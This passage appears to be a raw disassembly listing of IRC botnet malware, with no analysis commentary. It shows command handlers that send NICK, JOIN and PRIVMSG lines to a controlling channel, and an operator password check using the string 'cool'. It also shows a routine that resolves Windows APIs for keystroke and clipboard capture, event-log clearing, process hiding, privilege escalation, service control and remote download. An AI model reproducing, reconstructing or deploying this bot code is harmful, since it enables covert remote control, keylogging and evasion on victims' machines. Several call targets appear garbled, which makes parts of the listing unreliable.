		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_429D24
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409515:				; CODE XREF: sub_401ACD+3D57j
					; sub_401ACD+3D6Ej
		push	edi
		push	offset dword_42A254
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429D04
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409531:				; CODE XREF: sub_401ACD+3D29j
					; sub_401ACD+3D40j
		push	[ebp+esi+var_88]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	edi
		push	offset unk_429CE4
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409554:				; CODE XREF: sub_401ACD+3CFBj
					; sub_401ACD+3D12j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CC0
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409570:				; CODE XREF: sub_401ACD+3123j
					; sub_401ACD+313Aj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429CA0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h


loc_4095A6:				; CODE XREF: sub_401ACD+7B23j
		push	eax
		nop
		call	near ptr 26A0475h


loc_4095AD:				; CODE XREF: sub_401ACD+2A5Fj
		xor	eax, eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4095B4:				; CODE XREF: sub_401ACD+30F5j
					; sub_401ACD+310Cj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C78
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4095A6
; ---------------------------------------------------------------------------


loc_4095F2:				; CODE XREF: sub_401ACD+EADj
					; sub_401ACD+EC2j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40AE84
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C54


loc_40963D:				; CODE XREF: sub_401ACD+6FCCj
					; sub_401ACD+75F1j ...
		call	sub_415DAC
		pop	ecx


loc_409643:				; CODE XREF: sub_401ACD+6BD8j
		pop	ecx


loc_409644:				; CODE XREF: sub_401ACD+63Dj
					; sub_401ACD+649j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_40964C:				; CODE XREF: sub_401ACD+A98j
					; sub_401ACD+AADj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_20], esi
		jz	loc_401F75
		cmp	[ebp+var_A4], ebx
		jnz	loc_401F75
		push	offset asc_42CDC4 ; "!"
		push	[ebp+var_90]
		call	sub_41CAD4
		mov	esi, eax
		push	offset word_4CB89C
		push	ebx
		inc	esi
		call	sub_41CAD4
		push	offset asc_429C50 ; "~"
		push	eax
		call	sub_41CAD4
		push	[ebp+arg_20]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41CA50
		add	esp, 20h
		test	eax, eax
		jz	short loc_4096EB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BD0
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_401ACD+7BDAj
		mov	[ebp+arg_24], offset off_429164


loc_4096F2:				; CODE XREF: sub_401ACD+7C41j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409752
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429168
		jb	short loc_4096F2
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B7C
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_409752:				; CODE XREF: sub_401ACD+7C34j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409757:				; CODE XREF: sub_401ACD+7CB4j
		cmp	[ebp+arg_20], ebx
		jz	loc_401F75
		cmp	[edi], bl
		jnz	short loc_409777
		push	[ebp+arg_20]
		push	offset aCool	; "cool"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409788


loc_409777:				; CODE XREF: sub_401ACD+7C95j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409757
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409788:				; CODE XREF: sub_401ACD+7CA8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E04]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4097BF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B5C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4097BF:				; CODE XREF: sub_401ACD+7CD6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B3C


loc_4097CB:				; CODE XREF: sub_401ACD+595j
					; sub_401ACD+2889j ...
		call	sub_415DAC


loc_4097D0:				; CODE XREF: sub_401ACD+1B81j
		pop	ecx


loc_4097D1:				; CODE XREF: sub_401ACD+24FDj
		pop	ecx
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4097D7:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		mov	dword_4CB894, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409823	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41CB70
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34
		leave
		retn
sub_409823	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409869	proc near		; CODE XREF: sub_401ACD+506p
					; sub_401ACD+134Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409884
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409884:				; CODE XREF: sub_409869+14j
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B9C0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409907
		push	7D0h
		call	near ptr 26A0475h
		nop

locret_409907:				; CODE XREF: sub_409869+91j
		leave
		retn
sub_409869	endp


; =============== S U B	R O U T	I N E =======================================



sub_409909	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_4270A4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409A29
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CBA90, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CBA04, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB9E8, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB8F8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB8A4, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB8D4, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB94C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CBA44, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CBAA0, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB904, eax
		call	esi
		cmp	dword_4CBA90, ebx
		mov	dword_4CB8EC, eax
		jz	short loc_409A07
		cmp	dword_4CBA04, ebx
		jz	short loc_409A07
		cmp	dword_4CB9E8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8F8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8D4, ebx
		jz	short loc_409A07
		cmp	dword_4CB94C, ebx
		jz	short loc_409A07
		cmp	dword_4CBA44, ebx
		jz	short loc_409A07
		cmp	dword_4CBAA0, ebx
		jz	short loc_409A07
		cmp	dword_4CB904, ebx
		jz	short loc_409A07
		cmp	eax, ebx
		jnz	short loc_409A11


loc_409A07:				; CODE XREF: sub_409909+B8j
					; sub_409909+C0j ...
		mov	dword_4CBAA4, 1


loc_409A11:				; CODE XREF: sub_409909+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CBA1C, eax
		jz	short loc_409A3E
		push	1
		push	ebx
		call	eax
		jmp	short loc_409A3E
; ---------------------------------------------------------------------------


loc_409A29:				; CODE XREF: sub_409909+1Dj
		nop
		call	near ptr 26A0CACh
		mov	dword_4CBAA8, eax
		mov	dword_4CBAA4, 1


loc_409A3E:				; CODE XREF: sub_409909+117j
					; sub_409909+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26C0BF1h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409B53
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CBA40, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB9F0, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB984, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CBA94, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB9B4, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB9D4, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CBA38, eax
		call	esi
		cmp	dword_4CBA40, ebx
		mov	dword_4CB924, eax
		jz	short loc_409AF7
		cmp	dword_4CB9F0, ebx
		jz	short loc_409AF7
		cmp	dword_4CB984, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA94, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9B4, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9D4, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA38, ebx
		jz	short loc_409AF7
		cmp	eax, ebx
		jnz	short loc_409B01


loc_409AF7:				; CODE XREF: sub_409909+1B8j
					; sub_409909+1C0j ...
		mov	dword_4CBAAC, 1


loc_409B01:				; CODE XREF: sub_409909+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB9B0, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB8B8, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB980, eax
		call	esi
		cmp	dword_4CB9B0, ebx
		mov	dword_4CB968, eax
		jz	short loc_409B5E
		cmp	dword_4CB8B8, ebx
		jz	short loc_409B5E
		cmp	dword_4CB980, ebx
		jz	short loc_409B5E
		cmp	eax, ebx
		jnz	short loc_409B68
		jmp	short loc_409B5E
; ---------------------------------------------------------------------------


loc_409B53:				; CODE XREF: sub_409909+144j
		nop
		call	near ptr 26A0CACh
		mov	dword_4CBAB0, eax


loc_409B5E:				; CODE XREF: sub_409909+232j
					; sub_409909+23Aj ...
		mov	dword_4CBAAC, 1


loc_409B68:				; CODE XREF: sub_409909+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D21
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CBA54, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB998, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CBA08, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB8E4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB948, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB9C0, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB964, eax
		call	esi
		cmp	dword_4CBA54, ebx
		mov	dword_4CB974, eax
		jz	short loc_409C11
		cmp	dword_4CB998, ebx
		jz	short loc_409C11
		cmp	dword_4CBA08, ebx
		jz	short loc_409C11
		cmp	dword_4CB8E4, ebx
		jz	short loc_409C11
		cmp	dword_4CB948, ebx
		jz	short loc_409C11
		cmp	dword_4CB9C0, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409909+2DEj
					; sub_409909+2E6j ...
		mov	dword_4CBAB4, 1


loc_409C1B:				; CODE XREF: sub_409909+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB9C8, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB9A0, eax
		call	esi
		cmp	dword_4CB9C8, ebx
		mov	dword_4CBA50, eax
		jz	short loc_409C56
		cmp	dword_4CB9A0, ebx
		jz	short loc_409C56
		cmp	eax, ebx
		jnz	short loc_409C60


loc_409C56:				; CODE XREF: sub_409909+33Fj
					; sub_409909+347j
		mov	dword_4CBAB4, 1


loc_409C60:				; CODE XREF: sub_409909+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB9D8, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB8C0, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB8C8, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB92C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB930, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB8DC, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB9A4, eax
		call	esi
		cmp	dword_4CB9D8, ebx
		mov	dword_4CB8CC, eax
		jz	short loc_409D04
		cmp	dword_4CB8C0, ebx
		jz	short loc_409D04
		cmp	dword_4CB8C8, ebx
		jz	short loc_409D04
		cmp	dword_4CB92C, ebx
		jz	short loc_409D04
		cmp	dword_4CB930, ebx
		jz	short loc_409D04
		cmp	dword_4CB8DC, ebx
		jz	short loc_409D04
		cmp	dword_4CB9A4, ebx
		jz	short loc_409D04
		cmp	eax, ebx
		jnz	short loc_409D0E


loc_409D04:				; CODE XREF: sub_409909+3C5j
					; sub_409909+3CDj ...
		mov	dword_4CBAB4, 1


loc_409D0E:				; CODE XREF: sub_409909+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB8C4, eax
		jnz	short loc_409D36
		jmp	short loc_409D2C
; ---------------------------------------------------------------------------


loc_409D21:				; CODE XREF: sub_409909+26Aj
		nop
		call	near ptr 26A0CACh
		mov	dword_4CBAB8, eax


loc_409D2C:				; CODE XREF: sub_409909+416j
		mov	dword_4CBAB4, 1


loc_409D36:				; CODE XREF: sub_409909+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409E02
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB9D0, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CBA28, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CBA30, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB9EC, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB908, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB8B4, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CBA2C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB8A0, eax
		call	esi
		cmp	dword_4CB9D0, ebx
		mov	dword_4CB940, eax
		jz	short loc_409E0D
		cmp	dword_4CBA28, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA30, ebx
		jz	short loc_409E0D
		cmp	dword_4CB9EC, ebx
		jz	short loc_409E0D
		cmp	dword_4CB908, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8B4, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA2C, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8A0, ebx
		jz	short loc_409E0D
		cmp	eax, ebx
		jnz	short loc_409E17
		jmp	short loc_409E0D
; ---------------------------------------------------------------------------


loc_409E02:				; CODE XREF: sub_409909+438j
		nop
		call	near ptr 26A0CACh
		mov	dword_4CBAC0, eax


loc_409E0D:				; CODE XREF: sub_409909+4B9j
					; sub_409909+4C1j ...
		mov	dword_4CBABC, 1


loc_409E17:				; CODE XREF: sub_409909+4F5j
		mov	ebp, dword_4270C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0D3
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB954, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CBA88, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB8F4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB8D0, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB990, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB978, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB93C, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CBA64, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CBA80, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB98C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CBA70, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CBA24, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB9E4, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB9E0, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB914, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB90C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CBA34, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CBA48, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB9FC, eax
		call	esi
		mov	dword_4CB9BC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CBA10, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB9CC, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CBA0C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CBA78, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB9C4, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB988, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB9F8, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CBA68, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB99C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB938, eax
		call	esi
		cmp	dword_4CB954, ebx
		mov	dword_4CBA7C, eax
		jz	loc_40A0DE
		cmp	dword_4CBA88, ebx
		jz	loc_40A0DE
		cmp	dword_4CB8F4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB990, ebx
		jz	loc_40A0DE
		cmp	dword_4CB978, ebx
		jz	loc_40A0DE
		cmp	dword_4CB93C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA64, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA80, ebx
		jz	loc_40A0DE
		cmp	dword_4CB98C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA70, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA24, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9E4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9E0, ebx
		jz	loc_40A0DE
		cmp	dword_4CB914, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA34, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA48, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9FC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9BC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA10, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9CC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA0C, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA78, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9C4, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB988, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9F8, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA68, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB99C, ebx
		jz	short loc_40A0DE
		cmp	eax, ebx
		jnz	short loc_40A0E8
		jmp	short loc_40A0DE
; ---------------------------------------------------------------------------


loc_40A0D3:				; CODE XREF: sub_409909+51Fj
		nop
		call	near ptr 26A0CACh
		mov	dword_4CBAC8, eax


loc_40A0DE:				; CODE XREF: sub_409909+6BEj
					; sub_409909+6CAj ...
		mov	dword_4CBAC4, 1


loc_40A0E8:				; CODE XREF: sub_409909+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1ED
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB920, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB8A8, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB9AC, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB958, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB9B8, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB97C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB8E8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB8E0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB8F0, eax
		call	esi
		cmp	dword_4CB920, ebx
		mov	ecx, dword_4CB97C
		mov	dword_4CBA18, eax
		jz	short loc_40A1C9
		cmp	dword_4CB8A8, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB9AC, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB958, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB9B8, ebx
		jz	short loc_40A1C9
		cmp	ecx, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8E8, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8E0, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8F0, ebx
		jz	short loc_40A1C9
		cmp	eax, ebx
		jnz	short loc_40A1D3


loc_40A1C9:				; CODE XREF: sub_409909+87Ej
					; sub_409909+886j ...
		mov	dword_4CBACC, 1


loc_40A1D3:				; CODE XREF: sub_409909+8BEj
		cmp	ecx, ebx
		jz	short loc_40A208
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB994, eax
		jnz	short loc_40A208
		jmp	short loc_40A202
; ---------------------------------------------------------------------------


loc_40A1ED:				; CODE XREF: sub_409909+7EAj
		nop
		call	near ptr 26A0CACh
		mov	dword_4CBAD0, eax
		mov	dword_4CBACC, 1


loc_40A202:				; CODE XREF: sub_409909+8E2j
		mov	dword_4CB994, ebx


loc_40A208:				; CODE XREF: sub_409909+8CCj
